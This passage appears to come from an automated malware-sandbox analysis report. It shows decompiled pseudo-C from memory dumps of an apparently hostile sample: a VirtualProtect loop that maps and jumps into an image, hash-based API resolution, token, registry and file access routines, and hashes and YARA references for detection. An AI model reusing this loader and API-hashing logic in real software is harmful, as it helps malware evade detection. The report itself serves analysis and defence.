					while(1) {
						_t170 = _v152;
						_v160 = _t170;
						_t247 = _v160;
						_v184 = _v72 +  *((intOrPtr*)(_t247 + 0xc));
						_v180 =  *((intOrPtr*)(_t247 + 8));
						_v176 =  *((intOrPtr*)(0x25e4418 + (( *(_t170 + 0x24) >> 0x0000001e & 0x00000001) << 4) + ( *(_t170 + 0x24) >> 0x1f << 3) + (( *(_t170 + 0x24) >> 0x0000001d & 0x00000001) << 2)));
						_v172 =  &_v20;
						_v164 = _v148;
						_t177 = VirtualProtect(??, ??, ??, ??); // executed
						_t271 = _t271 - 0x10;
						_t234 = _v164 + 1;
						_v168 = _t177;
						_v148 = _t234;
						_v152 = _v160 + 0x28;
						if(_t234 == _v60) {
							goto L9;
						}
					}
				}
				L9:
				 *_t271 = _v72;
				_v124 = _v72 +  *((intOrPtr*)(_v48 + 0x24));
				_t155 = DisableThreadLibraryCalls(??);
				_t272 = _t271 - 4;
				_t229 =  *_v104;
				_v156 = _t155;
				_v116 = _t229;
				_v120 = _v72;
				if(_t229 != 0) {
					_v120 = _v72 + (_v116 + 0x0000ffff & 0x0000ffff) + 1;
				}
				_t240 = _v48;
				_v44 =  *((intOrPtr*)(_t240 + 0x20));
				_v40 =  *((intOrPtr*)(_t240 + 0x18));
				_v36 =  *((intOrPtr*)(_t240 + 0x34));
				_v32 =  *((intOrPtr*)(_t240 + 0x30));
				_v28 =  *_t240;
				_v24 = _v124;
				 *_t272 = _t240;
				_v184 = 0;
				_v180 = 0x74;
				_v128 =  *((intOrPtr*)(_v120 + 0x28));
				_v132 = 0;
				_v136 = 0x74;
				_v140 =  &_v44;
				E025E2569();
				if(_v128 != 0) {
					_t272 =  *((intOrPtr*)( &_v44 + 0x10));
					goto __eax;
				}
				return 1;
			}

0x025e221f
0x025e222d
0x025e2234
0x025e2237
0x025e2241
0x025e2248
0x025e2252
0x025e2258
0x025e2261
0x025e226a
0x025e226d
0x025e2273
0x025e2277
0x025e227f
0x025e2283
0x025e2286
0x025e2289
0x025e228c
0x025e228f
0x025e22a9
0x025e22af
0x025e22b2
0x025e22ba
0x025e22be
0x025e22c1
0x025e22c4
0x025e22c7
0x025e22ca
0x025e22e6
0x025e2303
0x025e2328
0x025e232a
0x025e2333
0x025e2336
0x025e2340
0x025e2343
0x025e2346
0x025e2349
0x025e234c
0x025e23a4
0x025e23a4
0x025e254a
0x025e2550
0x025e244d
0x025e2453
0x025e249f
0x025e249f
0x025e24bc
0x025e24e2
0x025e24f0
0x025e24f3
0x025e24f7
0x025e24fb
0x025e2502
0x025e2508
0x025e250a
0x025e251c
0x025e2524
0x025e252a
0x025e2530
0x025e2536
0x00000000
0x00000000
0x025e253c
0x025e249f
0x025e245b
0x025e2469
0x025e2471
0x025e2474
0x025e2476
0x025e247c
0x025e2488
0x025e248e
0x025e2491
0x025e2494
0x025e238a
0x025e238a
0x025e23d8
0x025e23de
0x025e23e4
0x025e23ea
0x025e23f0
0x025e23f5
0x025e23fb
0x025e23fe
0x025e2401
0x025e2409
0x025e2411
0x025e2414
0x025e2417
0x025e241d
0x025e2423
0x025e242e
0x025e2362
0x025e2368
0x025e2368
0x025e23c5

APIs

VirtualProtect.KERNELBASE ref: 025E228F
VirtualProtect.KERNELBASE ref: 025E2328

Strings

t, xrefs: 025E2409

Memory Dump Source

Source File: 00000003.00000002.912465140.00000000025E0000.00000040.00000001.sdmp, Offset: 025E0000, based on PE: true

Similarity

API ID: ProtectVirtual
String ID: t
API String ID: 544645111-2238339752
Opcode ID: 138f9d932bf25f017f65f32c7ac005bd74596a6888cb6315723d6c2c0c25649e
Instruction ID: a248e3ba226531117ed2b3a189c0d103195e39a7f0a152993107836671e0fb9d
Opcode Fuzzy Hash: 138f9d932bf25f017f65f32c7ac005bd74596a6888cb6315723d6c2c0c25649e
Instruction Fuzzy Hash: 398198B4E04208DFCB08CF99C180A9DFBF1BF88310F25856AE959AB351D330A985CF95

Uniqueness

Uniqueness Score: -1.00%

Function 728B1140, Relevance: 3.1, APIs: 2, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E728B1140(void* __ecx, void* __edi, void* __esi) {
				long _v12;
				void* _v20;
				void* _v24;
				char _v32;
				void* _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				void* _v56;
				void* _v64;
				int _t31;
				void* _t33;
				long* _t39;
				intOrPtr* _t46;
				void* _t54;
				void* _t56;
				void* _t58;
				long* _t59;

				_t59 = _t58 - 0x20;
				_t56 = __ecx;
				_v12 = 0;
				_t46 = E728B2F94(0xd0443458, 0xd8ece5ad, 0xd0443458, 0xd0443458);
				if(_t46 != 0) {
					 *_t46(_t56, 8,  &_v12);
				}
				_t39 = _t59;
				 *_t39 = _v12;
				_t39[1] = 1;
				if(E728AC33C(_t39) != 0) {
					L6:
					if(_t59[1] != 0) {
						E728ABC00(_t59);
					}
					return 0;
				} else {
					_t59[6] = 0;
					if(E728B2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458) != 0) {
						GetTokenInformation(_v40, 0x19, 0, 0,  &(_t59[6])); // executed
					}
					_t24 = _t59[6];
					if(_t59[6] != 0) {
						E728AF620( &_v32, _t24);
						_t54 = E728AF558( &(_t59[3]), 0);
						if(E728B2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458) == 0) {
							L14:
							E728AF6F0( &_v32);
							goto L6;
						} else {
							_t31 = GetTokenInformation(_v40, 0x19, _t54, _t59[7],  &(_t59[6])); // executed
							if(_t31 == 0) {
								goto L14;
							} else {
								_t33 = E728B2F94(0xd0443458, 0x57bf3274, 0xd0443458, 0xd0443458);
								if(_t33 == 0) {
									goto L14;
								} else {
									_push( *_t54);
									asm("int3");
									return _t33;
								}
							}
						}
					} else {
						goto L6;
					}
				}
			}

0x728b1142
0x728b114f
0x728b1151
0x728b1160
0x728b1164
0x728b116e
0x728b116e
0x728b1174
0x728b1177
0x728b1179
0x728b1184
0x728b11be
0x728b11c3
0x728b11c8
0x728b11c8
0x728b11d4
0x728b1186
0x728b1190
0x728b11a3
0x728b11b4
0x728b11b4
0x728b11b6
0x728b11bc
0x728b11da
0x728b11ea
0x728b1201
0x728b12e3
0x728b12e7
0x00000000
0x728b1207
0x728b1217
0x728b121b
0x00000000
0x728b1221
0x728b122d
0x728b1234
0x00000000
0x728b123a
0x728b123a
0x728b123c
0x728b123d
0x728b123d
0x728b1234
0x728b121b
0x00000000
0x00000000
0x00000000
0x728b11bc

APIs

GetTokenInformation.KERNELBASE(?,00000019,00000000,00000000,00000000,D0443458,D0443458,D0443458,D0443458), ref: 728B11B4
GetTokenInformation.KERNELBASE(?,00000019,00000000,00000000,00000000,D0443458,D0443458,00000000,00000000,D0443458,D0443458,D0443458,D0443458), ref: 728B1217

Memory Dump Source

Source File: 00000003.00000002.913495696.00000000728A1000.00000020.00020000.sdmp, Offset: 728A0000, based on PE: true

Associated: 00000003.00000002.913483109.00000000728A0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913511717.00000000728BA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913574043.00000000728BD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.913587981.00000000728BF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: b379fc4a1587b84ebba4738689b04ff7e367b1b7f2a9b7906a93c638fa51d113
Instruction ID: 5ae30c0feabbabb20830b3138369dddf02a44eb70c73dfadad3d28f7d128996d
Opcode Fuzzy Hash: b379fc4a1587b84ebba4738689b04ff7e367b1b7f2a9b7906a93c638fa51d113
Instruction Fuzzy Hash: 62218F74A042466AE705DA2CC814FAB6AAFAF91304F10C82CB459CA351EF7AC8098761

Uniqueness

Uniqueness Score: -1.00%

Function 728B5720, Relevance: 3.1, APIs: 2, Instructions: 74
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E728B5720(void* __ecx, char* _a4, intOrPtr _a8) {
				int _v16;
				int _v20;
				intOrPtr _t11;
				int* _t12;
				int _t13;
				void* _t23;
				char* _t35;
				int* _t38;

				_push(_t34);
				_t23 = __ecx;
				_t11 =  *((intOrPtr*)(__ecx + 4));
				if(_t11 == 0 || _t11 == 0xffffffff) {
					_t12 = 1;
				} else {
					_t12 = 0;
				}
				if(_t12 != 0) {
					L10:
					_t13 = 0;
				} else {
					_t35 = _a4;
					if(_t35 == 0 ||  *_t35 != 0) {
						_v20 = 0;
						_v16 = 0;
						if(E728B2F8C(0xd0443458, 0x91134e46) != 0) {
							RegQueryValueExA( *(_t23 + 4), _t35, 0, _t38, 0,  &_v16); // executed
						}
						_t15 = _v16;
						if(_v16 != 0) {
							E728AF8C4(_a8, _t15);
							if(E728B2F8C(0xd0443458, 0x91134e46) != 0) {
								RegQueryValueExA( *(_t23 + 4), _t35, 0, _t38, E728AF558(_a8, 0),  &_v20); // executed
							}
							_t13 = _v20;
						} else {
							goto L10;
						}
					} else {
						goto L10;
					}
				}
				return _t13;
			}

0x728b5724
0x728b5725
0x728b5727
0x728b572c
0x728b5733
0x728b5737
0x728b5737
0x728b5737
0x728b573b
0x728b5781
0x728b5781
0x728b573d
0x728b573d
0x728b5743
0x728b574c
0x728b574f
0x728b5766
0x728b5777
0x728b5777
0x728b5779
0x728b577f
0x728b578a
0x728b57a2
0x728b57c2
0x728b57c2
0x728b57c4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x728b5743
0x728b57cc

APIs

RegQueryValueExA.KERNELBASE(?,728BD1F8,00000000,?,00000000,00000000,?,?,?,728BD1F8,?,728B57F3,?,00000000,00000000), ref: 728B5777
RegQueryValueExA.KERNELBASE(?,728BD1F8,00000000,?,00000000,00000000,00000000,00000000,?,?,?,728BD1F8,?,728B57F3,?,00000000), ref: 728B57C2

Memory Dump Source

Source File: 00000003.00000002.913495696.00000000728A1000.00000020.00020000.sdmp, Offset: 728A0000, based on PE: true

Associated: 00000003.00000002.913483109.00000000728A0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913511717.00000000728BA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913574043.00000000728BD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.913587981.00000000728BF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: cdff03e19aa9d02ca93ff40d7f69fa03f4eaa6943e7be9b0135aaa3fabe45ce6
Instruction ID: 843b9be7a115145adae3713137580ac519f0e44437a9050f0a7888d6c9133a11
Opcode Fuzzy Hash: cdff03e19aa9d02ca93ff40d7f69fa03f4eaa6943e7be9b0135aaa3fabe45ce6
Instruction Fuzzy Hash: B811E434308309FFE6219E2DDC81F67BBEEDF41758F00861DB48987641DA6EEC018669

Uniqueness

Uniqueness Score: -1.00%

Function 728B5AA8, Relevance: 1.6, APIs: 1, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E728B5AA8(WCHAR** __ecx, void* __edx, intOrPtr _a4, long _a8, long _a12) {
				char _v24;
				void* __esi;
				void* _t16;
				void* _t21;
				void* _t24;
				void* _t29;
				long _t37;
				void* _t38;
				long _t39;
				WCHAR** _t40;
				intOrPtr* _t56;
				WCHAR** _t58;
				char* _t64;
				void* _t65;
				long _t66;

				_push(0);
				_push(_t62);
				_t66 = _t65 - 0x10;
				_t58 = __ecx;
				_t37 = _a8;
				if(E728AD288(__ecx, 0x2f) != 0) {
					_t62 = _t66;
					E728AD78C(__ecx, _t66);
					E728AD0B4(_t58,  *_t66);
					E728AD098(_t66);
				}
				if(_t37 == 0) {
					_t70 = _a4 - 1;
					if(_a4 != 1) {
						__eflags = _a4 - 4;
						_t37 = (0 | _a4 == 0x00000004) + 2;
						__eflags = _t37;
					} else {
						_t37 = 1;
					}
				}
				E728B621C(_t70);
				if(_a4 <= 5) {
					goto __eax;
				}
				_t62 = 0;
				if(_t37 != 2) {
					_t16 = 3;
					__eflags = _t37 - 1;
					_t38 = 0;
					_t39 =  ==  ? _t16 : _t38;
				} else {
					_t39 = 1;
				}
				if(E728B2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t29 = CreateFileW( *_t58, 0, _t39, 0, _t62, _a12, 0); // executed
					_push(_t29);
				}
				_t40 =  &(_t58[3]);
				E728AC328(_t40);
				if(E728AC33C(_t40) != 0) {
					_t58[2] = E728B352C(0);
					_t21 = 0;
					goto L19;
				} else {
					if(_a4 == 2) {
						_t56 = E728B2F8C(0x4bcc7cba, 0xceed09cc);
						__eflags = _t56;
						if(_t56 != 0) {
							 *_t56( *_t40, 0, 0, 2);
						}
					}
					_t64 =  &_v24;
					E728B35D4(_t64, 0xff, 8);
					_t66 = _t66 + 0xc;
					_t24 = E728B2F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t24 == 0) {
						_t21 = 1;
						__eflags = 1;
						L19:
						return _t21;
					} else {
						_push(_t64);
						_push(_t64);
						_push(0);
						_push( *_t40);
						asm("int3");
						return _t24;
					}
				}
			}

0x728b5aa8
0x728b5aab
0x728b5aac
0x728b5aaf
0x728b5ab1
0x728b5abe
0x728b5ac2
0x728b5ac6
0x728b5ad0
0x728b5ad7
0x728b5ad7
0x728b5ade
0x728b5ae0
0x728b5ae5
0x728b5aee
0x728b5af6
0x728b5af6
0x728b5ae7
0x728b5ae9
0x728b5ae9
0x728b5ae5
0x728b5afb
0x728b5b07
0x728b5b1d
0x728b5b1d
0x728b5c38
0x728b5b75
0x728b5b7e
0x728b5b7f
0x728b5b84
0x728b5b85
0x728b5b77
0x728b5b79
0x728b5b79
0x728b5b9b
0x728b5baf
0x728b5b9d
0x728b5baa
0x728b5bac
0x728b5bac
0x728b5bb1
0x728b5bb6
0x728b5bc4
0x728b5c2f
0x728b5c32
0x00000000
0x728b5bc6
0x728b5bcb
0x728b5c18
0x728b5c1a
0x728b5c1c
0x728b5c26
0x728b5c26
0x728b5c1c
0x728b5bcd
0x728b5bd9
0x728b5bde
0x728b5beb
0x728b5bf2
0x728b5bfe
0x728b5bfe
0x728b5bff
0x728b5c06
0x728b5bf4
0x728b5bf4
0x728b5bf5
0x728b5bf6
0x728b5bf8
0x728b5bfa
0x728b5bfb
0x728b5bfb
0x728b5bf2

Memory Dump Source

Source File: 00000003.00000002.913495696.00000000728A1000.00000020.00020000.sdmp, Offset: 728A0000, based on PE: true

Associated: 00000003.00000002.913483109.00000000728A0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913511717.00000000728BA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913574043.00000000728BD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.913587981.00000000728BF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c92f34b0a4618898debc7a204b77df74e3094b59da911a4e64f36b505e076e6
Instruction ID: 380e3d78bda2096a12cedce2fb28aa6c194e2dda81aefeebfd57e9e3575c12fb
Opcode Fuzzy Hash: 1c92f34b0a4618898debc7a204b77df74e3094b59da911a4e64f36b505e076e6
Instruction Fuzzy Hash: 0B31F67C344306AEE711266D8C95F2F7AABDF81304F008A2CF94696385DF6F8D19C225

Uniqueness

Uniqueness Score: -1.00%

Function 025E2439, Relevance: 1.6, APIs: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 025E2508

Memory Dump Source

Source File: 00000003.00000002.912465140.00000000025E0000.00000040.00000001.sdmp, Offset: 025E0000, based on PE: true

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 0b78d498d734dedae79154afef80e274bb8cfa977f4a3829ba72b1a7b294c868
Instruction ID: 507ddb8fa04e3cfef189d6ea6a8dfdd7e70e1688931a28eb37c79292d7815a33
Opcode Fuzzy Hash: 0b78d498d734dedae79154afef80e274bb8cfa977f4a3829ba72b1a7b294c868
Instruction Fuzzy Hash: 6B31E6B5E102288FDF24CF68C98069DB7F1BF88204F168699D94DA7306D731AE91CF81

Uniqueness

Uniqueness Score: -1.00%

Function 728B5B51, Relevance: 1.6, APIs: 1, Instructions: 63
fileCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E728B5B51(void* __ecx, void* __edx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t7;
				void* _t12;
				void* _t15;
				void* _t20;
				void* _t21;
				void* _t22;
				long _t23;
				WCHAR** _t24;
				intOrPtr* _t32;
				WCHAR** _t33;
				long _t37;
				void* _t39;
				void* _t40;

				_t33 = __edi;
				if(__edx != 0) {
					_t37 = 3;
					if(_t21 != 2) {
						_t7 = 3;
						_t22 = 0;
						_t23 =  ==  ? _t7 : _t22;
					} else {
						_t23 = 1;
					}
					if(E728B2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
						_push(0);
					} else {
						_t20 = CreateFileW( *_t33, 0x80000000, _t23, 0, _t37, _a44, 0); // executed
						_push(_t20);
					}
					_t24 =  &(_t33[3]);
					E728AC328(_t24);
					if(E728AC33C(_t24) != 0) {
						_t33[2] = E728B352C(0x80000000);
						_t12 = 0;
						goto L14;
					} else {
						if( *((intOrPtr*)(_t40 + 0x24)) == 2) {
							_t32 = E728B2F8C(0x4bcc7cba, 0xceed09cc);
							if(_t32 != 0) {
								 *_t32( *_t24, 0, 0, 2);
							}
						}
						_t39 = _t40 + 8;
						E728B35D4(_t39, 0xff, 8);
						_t40 = _t40 + 0xc;
						_t15 = E728B2F8C(0x4bcc7cba, 0xaaa9bb);
						if(_t15 == 0) {
							_t12 = 1;
							goto L14;
						} else {
							_push(_t39);
							_push(_t39);
							_push(0);
							_push( *_t24);
							asm("int3");
							return _t15;
						}
					}
				} else {
					__edi[2] = 2;
					_t12 = 0;
					L14:
					return _t12;
				}
			}

0x728b5b51
0x728b5b53
0x728b5b6a
0x728b5b75
0x728b5b7e
0x728b5b84
0x728b5b85
0x728b5b77
0x728b5b79
0x728b5b79
0x728b5b9b
0x728b5baf
0x728b5b9d
0x728b5baa
0x728b5bac
0x728b5bac
0x728b5bb1
0x728b5bb6
0x728b5bc4
0x728b5c2f
0x728b5c32
0x00000000
0x728b5bc6
0x728b5bcb
0x728b5c18
0x728b5c1c
0x728b5c26
0x728b5c26
0x728b5c1c
0x728b5bcd
0x728b5bd9
0x728b5bde
0x728b5beb
0x728b5bf2
0x728b5bfe
0x00000000
0x728b5bf4
0x728b5bf4
0x728b5bf5
0x728b5bf6
0x728b5bf8
0x728b5bfa
0x728b5bfb
0x728b5bfb
0x728b5bf2
0x728b5b55
0x728b5b55
0x728b5b5c
0x728b5bff
0x728b5c06
0x728b5c06

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 728B5BAA

Memory Dump Source

Source File: 00000003.00000002.913495696.00000000728A1000.00000020.00020000.sdmp, Offset: 728A0000, based on PE: true

Associated: 00000003.00000002.913483109.00000000728A0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913511717.00000000728BA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913574043.00000000728BD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.913587981.00000000728BF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 26c16dd84db9d2095020c93a0a859f32a102ea0508fef39e3b0ec55714086586
Instruction ID: 78a132b83153008e6858d713ce7299363fd0c64690d40a5483ad4b223aa1871b
Opcode Fuzzy Hash: 26c16dd84db9d2095020c93a0a859f32a102ea0508fef39e3b0ec55714086586
Instruction Fuzzy Hash: CD01D67D380306BAE711161CCC82F2BBA6BDF81354F148A6DF94656385DF6F58248161

Uniqueness

Uniqueness Score: -1.00%

Function 728B5B29, Relevance: 1.6, APIs: 1, Instructions: 57
fileCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E728B5B29(void* __ebx, void* __ecx, void* __edx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t7;
				void* _t12;
				void* _t15;
				void* _t20;
				void* _t22;
				long _t23;
				WCHAR** _t24;
				void* _t31;
				intOrPtr* _t33;
				WCHAR** _t34;
				void* _t38;
				long _t39;
				void* _t41;
				void* _t42;

				_t34 = __edi;
				_t31 = 5;
				_t38 = 2;
				_t39 =  !=  ? _t31 : _t38;
				if(__ebx != 2) {
					_t7 = 3;
					_t22 = 0;
					_t23 =  ==  ? _t7 : _t22;
				} else {
					_t23 = 1;
				}
				if(E728B2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t20 = CreateFileW( *_t34, 0xc0000000, _t23, 0, _t39, _a44, 0); // executed
					_push(_t20);
				}
				_t24 =  &(_t34[3]);
				E728AC328(_t24);
				if(E728AC33C(_t24) != 0) {
					_t34[2] = E728B352C(0xc0000000);
					_t12 = 0;
					goto L12;
				} else {
					if( *((intOrPtr*)(_t42 + 0x24)) == 2) {
						_t33 = E728B2F8C(0x4bcc7cba, 0xceed09cc);
						if(_t33 != 0) {
							 *_t33( *_t24, 0, 0, 2);
						}
					}
					_t41 = _t42 + 8;
					E728B35D4(_t41, 0xff, 8);
					_t42 = _t42 + 0xc;
					_t15 = E728B2F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t15 == 0) {
						_t12 = 1;
						L12:
						return _t12;
					} else {
						_push(_t41);
						_push(_t41);
						_push(0);
						_push( *_t24);
						asm("int3");
						return _t15;
					}
				}
			}

0x728b5b29
0x728b5b2d
0x728b5b30
0x728b5b33
0x728b5b75
0x728b5b7e
0x728b5b84
0x728b5b85
0x728b5b77
0x728b5b79
0x728b5b79
0x728b5b9b
0x728b5baf
0x728b5b9d
0x728b5baa
0x728b5bac
0x728b5bac
0x728b5bb1
0x728b5bb6
0x728b5bc4
0x728b5c2f
0x728b5c32
0x00000000
0x728b5bc6
0x728b5bcb
0x728b5c18
0x728b5c1c
0x728b5c26
0x728b5c26
0x728b5c1c
0x728b5bcd
0x728b5bd9
0x728b5bde
0x728b5beb
0x728b5bf2
0x728b5bfe
0x728b5bff
0x728b5c06
0x728b5bf4
0x728b5bf4
0x728b5bf5
0x728b5bf6
0x728b5bf8
0x728b5bfa
0x728b5bfb
0x728b5bfb
0x728b5bf2

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 728B5BAA

Memory Dump Source

Source File: 00000003.00000002.913495696.00000000728A1000.00000020.00020000.sdmp, Offset: 728A0000, based on PE: true

Associated: 00000003.00000002.913483109.00000000728A0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913511717.00000000728BA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913574043.00000000728BD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.913587981.00000000728BF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0fa86986c89fdfff574c3ac8d82252a53ce624ce43e07f87df1cda0750746311
Instruction ID: eadc21e92e030ade89eb9b4580cb14345574ee4799ca377c7d3c4433b3f9d68e
Opcode Fuzzy Hash: 0fa86986c89fdfff574c3ac8d82252a53ce624ce43e07f87df1cda0750746311
Instruction Fuzzy Hash: 3301A76C380306BBEB21161C8C56F3B7AAFDFC2744F058A6DB94666386DF5F5C148121

Uniqueness

Uniqueness Score: -1.00%

Function 728B5B3D, Relevance: 1.6, APIs: 1, Instructions: 56
fileCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E728B5B3D(void* __ebx, void* __ecx, void* __edx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t7;
				void* _t12;
				void* _t15;
				void* _t20;
				void* _t22;
				long _t23;
				WCHAR** _t24;
				intOrPtr* _t33;
				WCHAR** _t34;
				long _t38;
				void* _t40;
				void* _t41;

				_t34 = __edi;
				_t38 = 2;
				asm("adc ebp, 0x0");
				if(__ebx != 2) {
					_t7 = 3;
					_t22 = 0;
					_t23 =  ==  ? _t7 : _t22;
				} else {
					_t23 = 1;
				}
				if(E728B2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t20 = CreateFileW( *_t34, 0xc0000000, _t23, 0, _t38, _a44, 0); // executed
					_push(_t20);
				}
				_t24 =  &(_t34[3]);
				E728AC328(_t24);
				if(E728AC33C(_t24) != 0) {
					_t34[2] = E728B352C(0xc0000000);
					_t12 = 0;
					goto L12;
				} else {
					if( *((intOrPtr*)(_t41 + 0x24)) == 2) {
						_t33 = E728B2F8C(0x4bcc7cba, 0xceed09cc);
						if(_t33 != 0) {
							 *_t33( *_t24, 0, 0, 2);
						}
					}
					_t40 = _t41 + 8;
					E728B35D4(_t40, 0xff, 8);
					_t41 = _t41 + 0xc;
					_t15 = E728B2F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t15 == 0) {
						_t12 = 1;
						L12:
						return _t12;
					} else {
						_push(_t40);
						_push(_t40);
						_push(0);
						_push( *_t24);
						asm("int3");
						return _t15;
					}
				}
			}

0x728b5b3d
0x728b5b44
0x728b5b47
0x728b5b75
0x728b5b7e
0x728b5b84
0x728b5b85
0x728b5b77
0x728b5b79
0x728b5b79
0x728b5b9b
0x728b5baf
0x728b5b9d
0x728b5baa
0x728b5bac
0x728b5bac
0x728b5bb1
0x728b5bb6
0x728b5bc4
0x728b5c2f
0x728b5c32
0x00000000
0x728b5bc6
0x728b5bcb
0x728b5c18
0x728b5c1c
0x728b5c26
0x728b5c26
0x728b5c1c
0x728b5bcd
0x728b5bd9
0x728b5bde
0x728b5beb
0x728b5bf2
0x728b5bfe
0x728b5bff
0x728b5c06
0x728b5bf4
0x728b5bf4
0x728b5bf5
0x728b5bf6
0x728b5bf8
0x728b5bfa
0x728b5bfb
0x728b5bfb
0x728b5bf2

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 728B5BAA

Memory Dump Source

Source File: 00000003.00000002.913495696.00000000728A1000.00000020.00020000.sdmp, Offset: 728A0000, based on PE: true

Associated: 00000003.00000002.913483109.00000000728A0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913511717.00000000728BA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913574043.00000000728BD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.913587981.00000000728BF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5b8d02cd4674f4ed770eb1c7c80a412027ed08d7cd8f65890b2514b95d1dd015
Instruction ID: 667e40a36c3cb886952967c4f09cae44ff95ed1c648d5107fe06632ee80e0cbf
Opcode Fuzzy Hash: 5b8d02cd4674f4ed770eb1c7c80a412027ed08d7cd8f65890b2514b95d1dd015
Instruction Fuzzy Hash: A201A76C380306BAE721161D8C92F3F7A6BDF82744F048A6DF94665386DF6F5C148121

Uniqueness

Uniqueness Score: -1.00%

Function 728B5B1F, Relevance: 1.6, APIs: 1, Instructions: 52
fileCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E728B5B1F(void* __ebx, void* __ecx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t6;
				void* _t11;
				void* _t14;
				void* _t19;
				void* _t21;
				long _t22;
				WCHAR** _t23;
				intOrPtr* _t30;
				WCHAR** _t31;
				long _t35;
				void* _t37;
				void* _t38;

				_t31 = __edi;
				_t35 = 3;
				if(__ebx != 2) {
					_t6 = 3;
					_t21 = 0;
					_t22 =  ==  ? _t6 : _t21;
				} else {
					_t22 = 1;
				}
				if(E728B2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t19 = CreateFileW( *_t31, 0x100, _t22, 0, _t35, _a44, 0); // executed
					_push(_t19);
				}
				_t23 =  &(_t31[3]);
				E728AC328(_t23);
				if(E728AC33C(_t23) != 0) {
					_t31[2] = E728B352C(0x100);
					_t11 = 0;
					goto L12;
				} else {
					if( *((intOrPtr*)(_t38 + 0x24)) == 2) {
						_t30 = E728B2F8C(0x4bcc7cba, 0xceed09cc);
						if(_t30 != 0) {
							 *_t30( *_t23, 0, 0, 2);
						}
					}
					_t37 = _t38 + 8;
					E728B35D4(_t37, 0xff, 8);
					_t38 = _t38 + 0xc;
					_t14 = E728B2F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t14 == 0) {
						_t11 = 1;
						L12:
						return _t11;
					} else {
						_push(_t37);
						_push(_t37);
						_push(0);
						_push( *_t23);
						asm("int3");
						return _t14;
					}
				}
			}

0x728b5b1f
0x728b5b26
0x728b5b75
0x728b5b7e
0x728b5b84
0x728b5b85
0x728b5b77
0x728b5b79
0x728b5b79
0x728b5b9b
0x728b5baf
0x728b5b9d
0x728b5baa
0x728b5bac
0x728b5bac
0x728b5bb1
0x728b5bb6
0x728b5bc4
0x728b5c2f
0x728b5c32
0x00000000
0x728b5bc6
0x728b5bcb
0x728b5c18
0x728b5c1c
0x728b5c26
0x728b5c26
0x728b5c1c
0x728b5bcd
0x728b5bd9
0x728b5bde
0x728b5beb
0x728b5bf2
0x728b5bfe
0x728b5bff
0x728b5c06
0x728b5bf4
0x728b5bf4
0x728b5bf5
0x728b5bf6
0x728b5bf8
0x728b5bfa
0x728b5bfb
0x728b5bfb
0x728b5bf2

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 728B5BAA

Memory Dump Source

Source File: 00000003.00000002.913495696.00000000728A1000.00000020.00020000.sdmp, Offset: 728A0000, based on PE: true

Associated: 00000003.00000002.913483109.00000000728A0000.00000002.00020000.sdmp Download File
